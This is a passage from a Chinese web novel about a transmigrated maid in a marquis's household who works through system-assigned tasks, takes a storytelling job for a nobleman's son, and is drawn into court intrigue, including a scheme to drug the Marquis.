捉蝉扔进房中?她还没锻炼出徒手捉蝉的本领,而且今夜无风,这般上蹿下跳,最后只会换来以汗洗澡的结果。
大喝一声?要是真把裴执鹤吓倒了,她回家的打算也得告吹了。
虽然她现在做的只是分支任务,但在不知道任务失败后会引起怎样的蝴蝶效应的情形下,祝谣拒绝冒险。
俗话说,打瞌睡送来个软枕头——凑巧而又顺心。
远远地,祝谣瞧见个高瘦的人影朝这边靠近,四周树影婆娑,将她的脸分割成碎片,瞧着有些瘆得慌。
“你能认出那是谁吗?”祝谣用手肘顶了顶昌安。
昌安眯起眼辨别了片刻:“似乎是丹青姑娘,不过她原来不在房中?”
祝谣顺着他的目光,看向红萍院里的另一间厢房,里边的烛火还亮着。
再一眨眼,丹青走到了跟前,打开食盒盖子,内里放着碗……姜汤。
“珍珠睡下了吗?我亲手熬了姜汤,加了点糖,不凉不烫,喝起来应该很好入口。”
丹青家中应是读得起书的,她身上自有一股书卷气,说话咬字清楚,只是脸上的神色不咸不淡,眼下这一出,比起是探望,更像是和邻居问候了句“吃了没”。
祝谣和昌安对视了眼——裴执鹤身边的小厮就站在门外,丹青这是没认出来,还是揣着明白装糊涂?
祝谣另外留了点心思,着重听了房中的动静,自丹青开口以来,她不仅听到了女子的小声惊呼,还听到了男子的闷哼。
看来给他们爽到了。
祝谣决定加一把劲,用着房中人能听到但听不太清讲话内容的音量道:“早早便睡下了,只是我似乎听到里面有动静传来,想是睡醒了,你要进去吗?”
丹青有些犹豫。
她虽然领了福安长公主的令来试探侯爷在不在珍珠的房中,但并不想得罪侯爷,当众打断他的好事。
哪知婢女就在她迟疑的几息之中,径自伸手敲响门扉!
叩,叩,叩,克制但清晰。
“你……!”昌安也吃了一惊。
祝谣清了清嗓子,开口朝里问话:“珍珠,你醒了吗?有人来看你。”
沉默,是里边传来的意思。
但是依照限制文的套路,此刻裴执鹤和珍珠只会抱得更紧,然后在不知道外面的人何时就会进来的紧张下,幻想着被人发现的尴尬、羞愤、难看等等,自心底产生一种隐晦的快感,小幅度动了起来。
祝谣恍若未察气氛的不对劲,继续敲门道:“珍珠?珍珠?珍珠!”
“好了好了,珍珠姑娘……且睡死了,莫再喊了。”昌安一言难尽地拦下她还欲敲门的手。
祝谣当真有些意犹未尽,她总算明白,为什么雪姨越敲门,越起劲了——明知里面的人会
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做什么,却被拦着不能戳破,心痒痒。
“奇怪,是我听错了吗?”祝谣嘟囔了声,转过身,立马收拾好情绪,和没事人一样,“丹青姑娘,你也瞧见了,这姜汤我可以先替你收着,待珍珠姑娘醒了再送进去。”
丹青眼神复杂地看向她,心中盘算着把她推给福安长公主做眼线的可能。
相较于趁早站位未来的侯夫人,她宁愿偏安一隅,不掺和进任何争斗。
蝉儿乃明鉴院的丫鬟,比起她,显然价值更高。
“那便麻烦你了。”丹青果断将食盒递给祝谣,无半分留念地回到了自己的住处。
这时,祝谣才回想起来,丹青那把嗓音,倒是与她之前偷摸着来红萍院、取珍珠贴身之物时听到的争执很是相像。
珍珠果真走的是灰姑娘路线,姐妹不爱,双亲不在,只能靠裴执鹤的宠爱在侯府立足。
所以……昌安到底是珍珠的谁?倒是这么早就买好股了。
“任务已完成。”系统及时打断了她。
习惯成功的祝谣已经不会沾沾自喜了,而是想起另一件要紧事,向昌安问道:“我只伺候完珍珠姑娘今晚,便还是回去明鉴院做活的罢?”
昌安挠挠头:“应当是……只是珍珠姑娘这儿确实少了人伺候,你又救了她上来,说不准就被她瞧上,留在身边了。恭喜你啊,翻身了!”
“我还是更钟爱扫地这种朴实的活计。”祝谣不大乐意。
虽说到珍珠身边更有利于任务的完成,但高收益也代表高风险,天运之女必是珍珠,那自己便是替她挡灾的盾牌。
祝谣将算盘珠子崩到昌安的脸上,威胁他,万一珍珠或裴执鹤有意思让她伺候珍珠,便替自己在不得罪任何一方的前提下,推了这个差事。
“你怎么又是用送花这事威胁我?”昌安忿忿道。
“招不在新,管用就行!”
趁着天快亮了,祝谣先走一步回了明鉴院,以旋风扫过之势,干好本职,找回了一丝安全感。
推门见连翘迷瞪地睁眼,心落地了,随后伴着她骂着“浑身脏兮兮”的话语中,眼一闭,呼呼大睡过去。
18. 第十八章
房中的裴执鹤有些不上不下。
门外是丫鬟不知好歹地打扰,门内是他骑虎难下地驾驭,过于刺激了,绞得他稍微有丝清明。
他不是个沉溺于女色的人,这是从父母身上得来的教训。
外婆、舅舅、父亲、母亲……都以为当时的他还小,不会懂得大人之间的爱恨情仇,殊不知他已是读书的年纪,有了是非的道德观和对世界浅薄的认知。
即便外人多有赞誉父母是郎才女貌,伉俪情深,但裴执鹤能够感觉到,父母并不相爱。
像是被捉进笼子里关着的白鸽,总想挣脱铁锁,往外飞去。
他们大约是互相达成了共识,只要出现在众人面前,必是恩爱有加,但在府中,分房而睡,分桌而食。
有一回,裴执鹤休假回家,更是接连撞见了父亲与一纤秀女子亲昵,母亲则有好几个貌美郎君相伴。
他告诉了太后,再之后,父亲和母亲的身边只有彼此了。
府上的氛围令裴执鹤愈加不愿回去,可不好叫太后操心,他还是一有假日便回府,而他也在不经意间看到了与父亲亲密无间的那个女子在府外徘徊数次,分明是灼灼夏日,她的瞳仁却幽深得让让不敢多看。
及至父母双双坠崖的消息传来,裴执鹤睁着眼睛到天亮,才隐隐约约想通什么,或许那辆马车是被动了手脚的。
从前父母再是不睦,侯府好歹有他们增添活气,人一走,到处似乎都阴森森的。
裴执鹤日渐长大,慢慢克服了对偌大宅府仅剩他一位主子的惧怕,但远离情爱成了必须恪守的律条。
即便为了使太后和皇上放心,需要迎娶正妻,他也不会过多接触亲近,相敬如宾即可,免得叫对方一颗真心全投放在自己身上,受不了冷落,万一他一时顾及不来她的心思,恐怕枕边就要变成刽子手了。
乍见珍珠之时,他发现自己心跳加快,眼神总克制不住地落到她身上。
这很不应该。
脱离了自己的视线之后,裴执鹤像是打破了屏障般,倏忽冷静下来,于是他只当作是意外,如同已过而立之年的舅舅,身上这儿那儿会有突起的小毛病一样。
一下过去月余,再次见到她,却是在床笫之间了。
裴执鹤觉得事情脱离控制了,但他寻不出答案,即使他下意识躲避与珍珠的接触,但只要听到旁人提及,无形中宛如有根红线牵引,将他拉到了珍珠面前。
不知怎的,他们又抱到了一起,这当然令他心荡神怡,身体也自发行动起来。
这份清醒并未持续太久,女子纤弱的手臂缠住了他的脖颈,柔若无骨,细腻似水,如同满天密网揽住了他。
裴执鹤的视线迷蒙起来,意识冲上云霄。
……
意识回笼后,裴执鹤从红萍院低调地回了书房。
他喝着清茶润喉,手中开始提笔默写道德经,落笔却因出神片刻,致使墨水滴在纸张上,晕染开来。
半晌,裴执鹤盯着纸上,冷不丁道:“墨太散,书房缺个会磨墨的。”
“还请侯爷原谅奴才。”昌安小心道,“此前张总管担心下人们带坏侯爷,便调离了大半丫鬟和小厮,只是奴才实在没有悟性,磨的墨时好时坏。如今侯爷及冠,入了朝堂,呈上奏折抑或对下的公文,都要工整整洁,倒是要好好找个会研磨的人,放进书房了。”
裴执鹤却似未听到一般,不再开口,继续落笔在点了墨渍的澄心堂纸上。
昌安突然灵光一闪,试探道:“珍珠性子温和细心,想来磨墨也能很快上手,奴才觉得她很适合待在书房伺候。”
这回裴执鹤点头了。
*
祝谣赖了会儿床,被连翘拍着屁股起身洗漱去了。
连翘自个用过早膳,祝谣便独自去灶房捧了碗温粥嗦了起来。
各院的仆役们便聊起府中的新鲜事。
“长公主和郡主什么时候走啊?侯府只是给她们客居,而不是自立门户的地方。”
“敢议论皇亲,你不想要命了?”
“嘁,侯爷与皇上可比她们与皇上亲近多了,再说了,侯府的主子是侯爷,这是俺们的地盘,哪轮到叫别人踩在我们头上!诶,你可别说这是我说的。”
“你说,孟郎君在这儿且有段时日住,郎二公子呢?真能待个几天不被苏夫人过来拍门喊回家去?”
郎二便是郎钰,瑞国公的长子则被下人们简单粗暴地称呼为郎大。
“张总管那嘴巴,就没人说得过他的!……你是蘅芜斋的罢?你来说说郎二公子最近是怎么潇洒的。”
“倒也不能这么说,只是郎二公子出手大方,打赏起来都不带眨眼的,嘿嘿。咳,我告诉你们,郎二公子嫌府外玩腻了,府中又无趣,于是打算招个口才好的,每晚在他睡前讲故事,哄他入眠,每月赏二两银子!”
祝谣顿了顿,默默将头扭了过去,和其余人一同专注听了起来。
“有这等好事?!别是你诓俺的,你咋不去试试?”
“我自是拿了赏、得了令,才把这消息传出来的。府上的下人有一个算一个,都能去!今日过了午时,郎二公子便在蘅芜馆候着。”
“你看我行吗?”
“去什么去,你们怕是忘了郎二只是个吃山空的公子哥,一个外人倒在侯府上作威作福起来了。”
“侯爷和张总管都没说甚麽,用得着你在这胡咧咧?”
祝谣让开了几步,喝尽最后一口白粥,顺带听到了“不拘年纪,不拘男女,不拘是不是干粗活脏活的”等消息后,钻了小路回到明鉴院。
她打算也去试试!
系统难得好心,提醒她近日男女主进入平缓发展感情的阶段——关起门谈情说爱,暂时无需她卖力撮合。
祝谣自然不能放过这个空档期,眼下既能有机会在郎钰那边赚外快,又能接近他,届时说不准能帮着给珍珠搭上线,推动剧情发展,可谓两手抓。
有福同享,她先去寻了花儿,说出了在灶房听到的消息,花儿却不如她所料那般,积极响应。
“我就不去啦,我口才不好,又打小生活在洛都郊外,没见过太多奇闻怪事,不浪费这
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个时间了。”花儿手中不停活,抹干一个空桶,道,“蝉儿姐姐是想买什么时兴玩意吗?”
祝谣想了想:“没有,只是想多攒点钱,这样日后遇到灾事,也好有个保底。”
花儿笑道:“可是真遇上灾事的时候,我们也在侯府里,不怕吃不上饭。”
祝谣本能觉得不对:“可是主子要赶我们走,不过一句话的功夫,这个饭能不能吃一辈子,也不好说。”
“这……可是侯府随意出卖并无过错的家奴,会丢面子的,其他勋贵世家瞧不上这种行为。”花儿初时一慌,尔后越说越稳,“再说我们俩是明鉴院的,离主子这般近,只要踏踏实实干活,就不会被卖掉的,做奴才的也分亲疏远近呢。”
若说前边半句话,祝谣还能勉强当作是宽慰之语,那么后边半句话,作为从现代穿越的她,完全不敢苟同。
在大康,奴才与货物无甚分别。
她开始重新审视自己将来的打算和攒钱的目的。
原来也只是习惯使然,但要是她任务失败了,这些钱便是她留在这个世界的最后依仗了。
所以,她攒钱是要赎身恢复自由身的。
祝谣打了个哈欠,浅浅睡了个午觉,精力充沛地来到蘅芜斋。
院门立着个丫鬟维持秩序,让大家排好队,一个个进去,当面给郎钰讲故事。
祝谣远远地瞧见郎钰坐在堂中,虽说态度是有些懒散,但高门养出的公子哥,即便再松懈,仪态也是好看的,更别提他眉眼精致,乌发朱唇,如皎洁明珠,映得略有暗色的厅堂都熠熠生辉。
她看向队伍前捧脸欣赏郎钰美貌的家奴,很难说他们就是为了二两银子的打赏来的。
只是排队也是件磨人的事,即便郎钰因为迟迟选不出感兴趣的故事而安排两两一同进去,暴露在烈日下的奴仆也还是很难受。
祝谣抹了把额头沁出的汗水,终于排到了临近院门的地方,旁边有棵绿树,正好能遮阳。
不一会儿,她离进去只差一臂之遥。
守在院门的丫鬟惊诧道:“是你啊!”
祝谣仔细辨认,发现她是那日拉着自己去兰羲园收拾脏污的丫鬟。
茯苓凑近悄悄道:“我叫茯苓,被调到了蘅芜斋伺候郎二公子,你想知道他会对什么故事感兴趣吗?”
这是想利用信息差赚差价。
“你要多少钱?”祝谣谨慎道。
竖起一根手指头的茯苓又道:“只需要连续三月给我一两便可。”
祝谣心想:抽得有点狠啊,再说郎钰还不定住满一个月,到时候不满一月但是按一月收钱,那她可亏。
反正只是来试试,不成她就专心忽悠董叔,能捞一点是一点,成的话,决计不能让利!
祝谣义正言辞地婉拒了茯苓,恰好轮到她,顶着另一个家奴防备的眼神,她胸有成竹地进院。
她从小爱看各种杂书,什么《故事会》、《公主志》、《意林》、《一千零一夜》等等,还看了许多鬼故事、悬疑恐怖小说、暗丨黑丨童丨话等等,不信拿不下这个名额!
19. 第十九章
“都来说说,你们为什么想要这份工?”郎钰头也未抬,把玩着两颗玉核桃,显得意兴阑珊。
蓝衣小厮抢在祝谣前边哀戚道:“奴才幼时被拐,辗转多地进到侯府,有了容身之地,然不敢忘与爹娘分离之痛,好不容易最近从牙婆那买到消息,得知他们在不远的并州,奴才便想将他们接来团聚,只是困窘于银钱不够……”
郎钰掀起眼皮,微微点头:“故事编得不错,只是下回得往脸上抹灰,再用腰带勒紧肚子,才更有说服力。”
蓝衣小厮的卖惨声戛然而止,概因他这身虽比不得豪门的二世祖,却在家奴中很是突出的一点肥肉,足以证明他小日子过得滋润。
祝谣安静地目睹了全程,发现这是位清新脱俗的二世祖,身上无嚣张跋扈之气,可谓豪门中难得的正常人。
“你呢?”
祝谣觉得还是不要抖机灵,为了彰显特别,直言为了银钱,留待讲故事时再惊艳所有人,于是只说自己也是儿时被拐,路上所见所闻甚多,不乏够奇够怪的。
郎钰抬眸随意看了她一眼,道:“这样,我给你们二人出题,你们一人接一句,将故事续到结尾。”
“题目听好——小红父亲续娶了妻室,后母还带着两个姐姐。”
“父亲常年不在家,后母把持家中大小事务,时常给两个亲生女儿做新衣,买簪钗,反观小红,穿旧衣,吃陈米,还被磋磨得日日须早起擦拭地板。”蓝衣小厮很快接上。
这……小红拿的不就是灰姑娘的人设吗?
祝谣可不喜欢童话里那个隐身了的父亲,也不喜欢灰姑娘都有仙女的帮助,结局只是嫁给了王子,于是接下来的编造,打开脑洞。
譬如小红顺利进到皇宫参加舞会,最后却是嫁给了老皇帝;
又譬如她受宠之后进言老皇帝不要格外关照父亲,由此更得怜爱;
再譬如,小红还同老皇帝的年轻王子们有了首尾。
蓝衣小厮被祝谣胡编乱造的功力打得节节败退,每当他想将小红拉回到正道——做个安分守己、贤良淑德的女子,下一刻祝谣就能再安排个貌美如花的男子拜倒在小红的石榴裙下。
“……最终小红扶持幼子登基,垂帘听政。”祝谣当机立断定了结尾。
要不是担心剧情对于身为男子的郎钰来说,太过惊世骇俗,以及时间不够,她还能继续说下去。
郎钰听罢,直起了身子,眼睛定在祝谣身上,俄而用折扇点了点:“便是你了。”
蓝衣小厮不服:“郎公子,她编的这可不合规矩,哪有这般水性杨花的女子,还能坐上太后之位,只怕大臣都成了小红的入幕之宾,幼帝长大后掌权之路且会被阻拦。”
“瞧,你都开始想象后边的故事了。”郎钰挥挥手,不耐看蓝衣小厮那副输不起的模样,独对祝谣道,“每晚子时来我这报道,若有事来不了,提前说明。”
祝谣在心中握拳,既紧张又兴奋:“是。”
随后郎钰站起来,伸了个大大的懒腰,歪头拿着折扇拍打肩颈,朝堂外摆手道:“都回去罢!我要休息了。”
剩下还没表现的仆从们顿时哗然,却被茯苓以“擅离职位,待会挨个去管事那儿告你们的状”的威胁,轰跑了。
这会子,郎钰终于露出了狼牙,扇柄敲着掌心,脚步绕着祝谣道:“你这故事是新奇,也足有噱头,只是我听着,倒像是从武则天的经历中取材,着实有投机取巧的嫌疑,所以——二两打赏便只给一两,余下我也不和你追究别的了。还有,即便我在侯府待不了一月,这银子照样不会少了你的。”
但是,到手的银子飞了一半!
祝谣差点抑制不住怨气,抢过折扇,跳起来暴打他的头。
她素日里是最好脾气的,也不爱争风吃醋,但今时不同往日,她是要存钱赎身的。
然而郎钰停脚,拍了她的肩头,不由她积攒怒气,道:“现在随我出去一趟。”
*
高门里的规矩多,祝谣上次出门已是上次,虽不清楚郎钰为何要她跟着,但在昌安那儿过了明路,能出门见见风也是好的。
郎钰也甚是舒畅开怀。
往日国公府上伺候他的家奴,无一不是由苏氏亲自挑选送来的,嘴中时刻提着母亲为他这般操劳,郎君当心疼心疼母亲之类的话,他只觉绳子一圈圈套紧他,怎么也安生不得。
这下好了,他寻了个寡言的丫鬟,耳根子清静了许多。
祝谣便跟在郎钰后面,见他一会儿在这个摊位上摸摸木梳,一会儿在另一个摊位上戴戴面具,玩得不亦乐乎。
她递钱的手也没停过,不一会儿便拎着大包小包的,艰难地缀在郎钰身后。
“这个好看吗?”
郎钰举着根簪子,随意在祝谣的头上比划了下,只见女子自额侧盈出一滴汗珠,顺着年轻的面庞滑落,洒在了他的指腹。
她谨慎地抬首觑了眼自己的脸色,眸珠倏地灵动起来,黑白分明,但片刻便收了回去,像极偷到吃食便立即缩回田洞里的鼠类。
他有那般可怕吗?
郎钰暗自哂笑,也没管那汗珠还挂在手上,只是他忽而想起,这丫鬟先前被他泼了茶,得了一两银子,才过去不久,眼下便不必再急着打赏,免得胃口大了。
他心安理得地收回手,不料不知从何处冲出来一人,猛然撞上祝谣,而祝谣自是挡不住力,立即将手上拎着的东西挡在胸前,顺势全推到郎钰身上。
郎钰被怼得肋骨生疼,松了手,簪子便往下掉。
一只素手极快地握住簪子,收入袖子,尔后惶恐道:“奴家不是有意的!”说完,还不时回头朝后望去,似乎在警惕着什么人。
祝谣毫不愧疚抵着郎钰站稳脚,才不紧不慢地扶了他一把,接着拾起散落一地的捆包。
郎钰止住欲上前的侯府奴仆,眉心一蹙,不悦道:“你是哪家的?”
“奴家是逃出来的。”那被布巾裹住了青丝和大半脸庞、只余下似秋水美瞳的女子,闻言眸中凝水,显得愈加楚楚可怜,嗓音闷了层巾子,却也沙哑动人。仿佛回忆起不堪的往事,她抖了抖,“若再不逃,便会死在那儿。”
祝谣清点着物件,一个都没少,只是那根簪子……她默默从女子身上收回目光。
反正倒霉的也不是她,便是被偷了,也该郎钰赔偿摊主,没有打赏,她是不会多此一举的。
女子察觉到祝谣并不欲拆穿她,将袖中的匕首摁得更紧。
“既然有人追你,还不快跑?”郎钰半点不客气道,“走走走,别待会人追出来了,找我算账。”
惊愕掠过女子的脸上,但她识趣地起身,眨就眼消失在人流之中。
“麻烦!”
郎钰低呵了句,自行掸了掸锦衣上难以肉眼观出的尘灰。
眼见天边泛起晚霞,是时候找处酒楼享受美酒佳肴,郎钰甫迈腿,就被祝谣拉住了。
祝谣眼神示意他看向摊主:“您要的簪子还没给钱。”
郎钰遍寻簪子不得,晓得被那贼子摸走了,边自掏腰包,边叹道:“蝉儿啊,你虽不如蝉聒噪,却也如蝉一般,不该鸣叫的时候,鸣叫个不停。
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”
祝谣深吸一口气,闭上了嘴。
……
郎钰带着祝谣,在洛都最中心的位置——泰丰楼包了个雅间,点了三荤一素一汤一甜糕。
他推窗临望,还能欣赏到远处开元寺所在的山头,夕阳西下,霞光簇锦,将那儿妆点得绮丽沉穆。
“若是我就此出家了可好?”如此也不必处于两难的境地。
刚咽下一颗葡萄的祝谣,此刻拾起善心,稍微委婉道:“郎君若是要做和尚,也不是件容易的事,首先苏夫人那是一关,其次登山又是一关,接着要剃头、点戒疤、每日早课、挑水、洗衣、劈柴、锄地、种菜……”
“打住!”
郎钰剜了她一眼,杀人诛心莫过于此,他一个二世祖,根本难以在这种日复一日,年复一年的力气活和戒律中坚持下来。
倒是小看了她的嘴皮子功夫。
祝谣在他灼灼目光中,给他挟了块最滑嫩的鱼腹之肉,轻易哄好了他。
“你到侯府多少年了?”郎钰吃个半饱,拉着祝谣闲聊。
祝谣言简意赅道:“七年。”
“七年啊,可想回到家乡,寻回爹娘?”
祝谣是胎穿到这个世界的,要说对这对古代的父母没有感情,那倒不是,但要说有很深,被卖掉换口粮的她也没有。
祝谣摇了摇头。
“如此甚好。”郎钰打开折扇,风度翩翩道,“我只是暂住在宁远侯府,不日便要家去,你若是跟了我回去,和在侯府一样,每日只需讲个故事,月钱我给提到二两。”
他回去也是被憋在国公府学之乎者也的份,好在蝉儿性子对他胃口,他素来也不是以正经的形象示人,带个还未被母亲的观念洗涤过的丫鬟回去,能乐一日算一日。
届时母亲少不得看在蝉儿是侯府的家奴,不敢多管,至于子玠那边,借个人不是什么大事。
这是打算做什么?
瑞国公府的二三事,祝谣在连翘口中也听了不少,下意识便觉得郎钰可能带她回去是为了给苏夫人添堵,譬如弄个高门公子恋上洗脚婢的新闻,苏夫人绝对气得只顾棒打鸳鸯。
祝谣警惕道:“郎君若是不想回去,可以寻张总管出面说服苏夫人。”
“唉,我的一片真心,你是真不懂,还是装不懂?”
郎钰一叹气,再含情脉脉地看着自己,倒叫祝谣浑身的鸡皮疙瘩都起来了。
托穿越前的生物学父亲的福,她于男女情爱上是毫无憧憬和期待,再说了,郎钰给得还是不够多。
“行了,我既然不是直接向你家侯爷要了你的身契,便是允了你拒绝我,不过还不到我归家的最后一刻,你再好生考虑。价钱嘛,也好商量。”
看在他另给自己点了份东坡肉配蛋炒饭,祝谣表面上应承了过去。
总之,她是不信天上会掉馅饼的。
*
陪着郎钰快走断腿的祝谣,总算把他完完整整地送回蘅芜斋。
因她不常来蘅芜斋,对这边不算熟悉,只能走着也不知道是不是绕了远路的路径回去明鉴院。
转过一条廊道,因吊灯未点亮,眼前骤然暗了下来,祝谣便借着月光,提步尽快经过此处。
突然,眼尾似乎瞟到了白光在一晃一晃的,她赶紧低头,专心走路,却在中途撞到一堵肉墙。
祝谣忍着害怕,顺势捏了捏,确定是有温度的,才放松下来,“啪”地一声,又被对方用力地拍掉手。
绮罗从腰间抽出帕子,擦了擦手,傲气道:“长公主要见你,随我来罢!”
20. 第二十章
福安悠悠地搁下茶盏,居高临下地看着跪在地上的祝谣:“倒没想到你这丫鬟还这般有本事,进得了明鉴院,又伺候得好郎钰。郎钰这孩子我知道,最是跳脱,住进来才一日,便弄出什么编故事比拼,还要留下最会编故事的,每晚睡前都给他讲。”
鸣莱院里的地砖,是派人搜罗了上等的石料制成,冬暖夏凉,如今祝谣膝盖落地,便觉一阵阵阴凉直蹿入骨缝,十分难捱。
她原想从绮罗身上套点话出来,却不想绮罗满心满眼只有福安长公主和恭平郡主,还威吓她要老老实实,不准弄虚作假。
眼下既提了裴执鹤,又提了郎钰,祝谣可不认为她是在夸赞自己,只是……到底是为了什么把她叫来?
“你是几岁进的侯府?”福安脱着尾指的护甲,斜睨道。
和郎钰问得一模一样……是要拉拢她?
祝谣回道:“八岁入的侯府,已有七年了。”
福安循循诱导道:“按理说,你既到了明鉴院做活,那便该心满意足了,可将来侯爷娶妻,院里的人就得大换血,你这小小的洒扫丫鬟,决计留不下来。虽然都在侯府,但在哪个院子里,这处境可是截然不同,难道你就受得了这落差吗?”
“奴、奴婢受不了。”祝谣唯唯诺诺道,“求长公主给奴婢指条明路。”
福安嘴角微扬,伸出手被仆从扶着下了座,走到祝谣跟前:“先起来,这地上凉,怎生好受。”
在起身前,祝谣再次谢恩,撸顺了福安的脾气,这才抖着小腿,缓缓站起,膝盖上的钝痛立即化作针刺般扎着筋肉。
福安抬起她的下巴:“天可怜见的,脸上的肉都没多少。”话音一转,压低眉眼,“只要你把我交代给你的事办成,我便替你在张总管面前美言几句,让他提了你的位子,你觉得怎么样?”
祝谣哪敢有什么意见,点头如捣蒜。
“好了,时候不早了,回去歇息罢。”福安笑道,“我相信你,不会乱说的,是吗?”
云锦奉命将祝谣送到院门,递过一盏明亮的提灯,轻声道:“路上小心,膝盖若是太疼,睡前可以拿热水敷一敷,再揉揉筋骨,过几天便能好了。”
祝谣谢过她,从她手中接过灯,独自提着灯,辨认回去的路。
盛夏的天空即使降下夜幕,闷热仍旧充斥在地面上,打一巴掌再给颗红枣的事儿,祝谣经历过太多,却还是不由生了害怕和凉意。
攒钱是必须的,但同时她也得将各细节完善起来,比如当初二两银子就能被买回来的她,现今要翻几倍才能赎身,又比如,她赎身之后,该往哪儿去,做什么维生。
祝谣刻意使自己保持着像是被踹了一脚的路边狗的畏缩神情,回到了明鉴院,只见耳房还有微弱的光亮透出来,心下一暖。
“你做什么去了?我明日还要早起,为了等你一块睡,现在都快困死了——等等,你的脚怎么了?”连翘赶忙趿着绣鞋来到祝谣身边,“你受伤了?”
祝谣便现编了个借口,说是伺候郎二公子回来,因四周太黑,不小心冲撞了长公主,才受了罚。
连翘听完,皱了皱眉,却没说甚麽,只是翻出了压箱底的活络油,塞给你,不一会儿,从外边端来热水,让你脱了鞋袜泡脚。
“连翘。”祝谣感动得眼眶泛红,“陪我坐坐。”
连翘卷起她的裤脚,只见祝谣膝盖上的淤青又深又重,还有些肿,轻轻碰一下,就得到几口嘶声。
她倒出油,开始给祝谣揉搓起来。
祝谣见状,只低声道:“府上只有你待我最好。”
连翘睄到她眼角缀了颗泪珠,用手背抹去,叹了口气:“长公主如何,我们私下不能议论,这几日我多替你揉揉膝盖。”
祝谣点点头,往手心也倒了油,揉起自己另一边的膝盖,转而问道:“做高门中的家奴,从来不轻松,但……若是给你恢复良民的机会,你会出府吗?”
连翘想了会儿,摇头道:“不会,出去了,我们一家都要活不成了。”
祝谣追问,连翘遂透露了点家中状况:“爹娘极易受人诓骗和鼓动,在侯府做事,好歹有表叔能镇住他们。”
“他们好歹将你养大,我爹娘却卖了我换银钱。”见铺垫得差不多了,祝谣故作坚强道,“当初他们拿着二两银子,头也不回地走了,哪能想到我现在可是值十两了,但他们可不能再卖我一次了。”
连翘心疼地笑了笑,宽慰道:“你现在可不止十两,得二十两呢。”
二十两?!
祝谣掐着床褥,忍住怪叫,她想过会翻几倍,倒是没想过翻了整整十倍,再加上还得买民居……是笔巨资。
问苍天,如何能一夜暴富?
*
“……欲知后事如何,请听下回分解。”祝谣利落地结束了今晚的睡前故事。
“等等。”
郎钰正听到精彩处,哪能放她走,却一下握住了祝谣的手腕,神情一愣,少顷仿佛抓到的是火红的煤炭,松手时也显得些许慌乱。
祝谣并未在意这些细节,只顾从他身上挖出赏银道:“郎君如果实在抓心挠肺,不妨与奴婢做个生意?一两银子听一个回合,二两便两个,以此类推。”
郎钰面上有些古怪:“不听了,你出去记得把门关上。”
“是。”
祝谣也不气馁,吹熄内室的烛火,只留了一盏。
郎钰的声音突然响起:“你想好了吗?”
祝谣回道:“奴婢想好了,奴婢愿意跟郎君去瑞国公府。”
郎钰呼吸一滞:“没别的要求吗?”
“奴婢听闻,皇上的大臣们都时不时得去其他州府巡察,回来之后便能升官,奴婢跟着您出门一趟,应该多少能入侯爷的眼。”祝谣话锋一转,“只是瑞国公府积攒了多少年的底蕴,郎君给三两,那才叫气派呢。”
郎钰似乎觉得自己有些失望,可不知这情绪从何而来,更不知为何会在意一个小丫鬟的话,瞪了瞪帐顶,只遵循本能地“嗯”了声,翻身阖上眼了。
“郎君允了?谢谢郎君!”
祝谣难得露了笑,也没多往床榻上将自己裹得严实的郎钰看去。
门外的茯苓已经铺好了地铺,今夜轮到她值夜,见状打趣了句:“捡到金子了?”
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“还没,不过借你吉言。”
屋外的祝谣渐渐走远,屋内的郎钰猛地掀开被子,或许是热的罢。
……
祝谣蹑手蹑脚上了床,只用背角搭住肚脐,好在连翘分到一盆冰,今夜未有那么难以入眠。
只是她久久睡不着。
祝谣试探地往枕下一伸,碰到个药包,下一刻,系统便道:“请宿主不要忘了,三日内将此药粉下入裴执鹤的入口之物中。”
“知道了!”祝谣在内心大吼了一句。
这药包是那晚云锦在递灯时顺势塞过来的,她是一万个不愿意,再淌浑水。
祝谣胡思乱想了一通,觉得福安长公主仍旧选择这种下三滥的手法,定不是要恭平郡主与裴执鹤无谋苟合,成就好事,却败坏了名声,那便只能是……嫁祸给珍珠。
然而人在屋檐下,不得不低头,祝谣只好打算下完药该怎么糊弄过去,好在郎钰给她抛来了橄榄枝——即便是坑,也得先跳下去了。
希望她回侯府时,一切风波归于平静,她和珍珠也能顺利逃过一劫。
*
宁远侯府,书房。
“唉。”
孟辰良笑着从书中抬头:“子玠,今日不是说好以诗会友吗?诗词我未听到,倒是从你口中听到了不下数十声叹息了。到底是何事如此困扰你?”
裴执鹤闻言,落下最后一个字,搁笔道:“后日你便要家去,莫不是为这个烦恼?”
郎钰顿时从美人榻上坐起,走到裴执鹤身边,作揖道:“知我者,长庚也!”
“苏夫人毕竟是长辈,虽对你颇为严厉,但我相信,她都是为了你好。”裴执鹤绷着脸道。
孟辰良见郎钰垮着嘴角,必是不愿听到裴执鹤训他,不着痕迹地插入二人之间,先是赞了“侯爷书法遒劲有力”,后安抚郎钰道:“侯爷的意思是,你是苏夫人的亲子,即便一时有了误会,最后都能说开的,一家人没有隔夜仇。不过,我们的情谊是从小便有的,你若有烦恼之处,而我们又能帮得上一二,你尽可明言。”
郎钰接下好友给的台阶,故弄玄虚道:“此事说难也不难,长庚,我只须你府上的一个丫鬟,你借不借?”
“丫鬟能助你什么?是哪个丫鬟?”裴执鹤问道。
“就是你院里的蝉儿,平日也就做做扫地的活儿。”郎钰坦白道,“我知晓母亲对我的苦心,我也不是真要给她找不痛快,这蝉儿虽说木讷至极,但是叫她往东,她绝不敢往西,光凭这点,可比家中那些阳奉阴违我的奴才强多了。”
蝉儿?
裴执鹤仔细回想,终于在脑中抓住了张一闪而过的面孔,倒是普通寡淡,但眼眸乌黑发亮,像画中的点睛一笔,整个人都活灵活现了起来。
只是一个洒扫丫鬟,能有什么特殊之处?
既是好友恳求,裴执鹤便答应了,只是他得替好友考察一番,免得丢了宁远侯府的脸。
“明晚我们再小聚一回。届时命那蝉儿随侍左右,看看她的规矩是否过得了关。”裴执鹤摩挲着玉扳指道。
郎钰不嫌事大,笑道:“还是你细心。”
21. 第二十一章
残阳渐逝,月上中天,堂内已是烛火通明。
离开宴还有不到几刻钟,祝谣正猫着身子,尾随着一个丫鬟,想要进去置菜的隔间——里边放了凉菜、酒水、碗碟等等。
走到半途,从旁忽然伸出一只手,将祝谣给拉了过去,前边端着器皿的丫鬟闻声扭头看去,认出了连翘,问好道:“连翘姑娘。”
“嗯,侯爷和孟公子、郎二公子快来了,你先去忙罢。”
连翘打发走了丫鬟,扯着祝谣来到角落,离人群远了些,轻声问道:“你可知今晚叫你来帮忙是为了什么?”
祝谣摇了摇头,又点了点头。
“这是什么意思?等等。”连翘拉着她出了厅堂。
“前日郎二公子问我,愿不愿意跟他去瑞国公府,我一听能拿三两银子,就……”祝谣这才难为情道。
连翘诧怪道:“你就这么舍得抛下侯爷,抛下明鉴院的活计走了?”
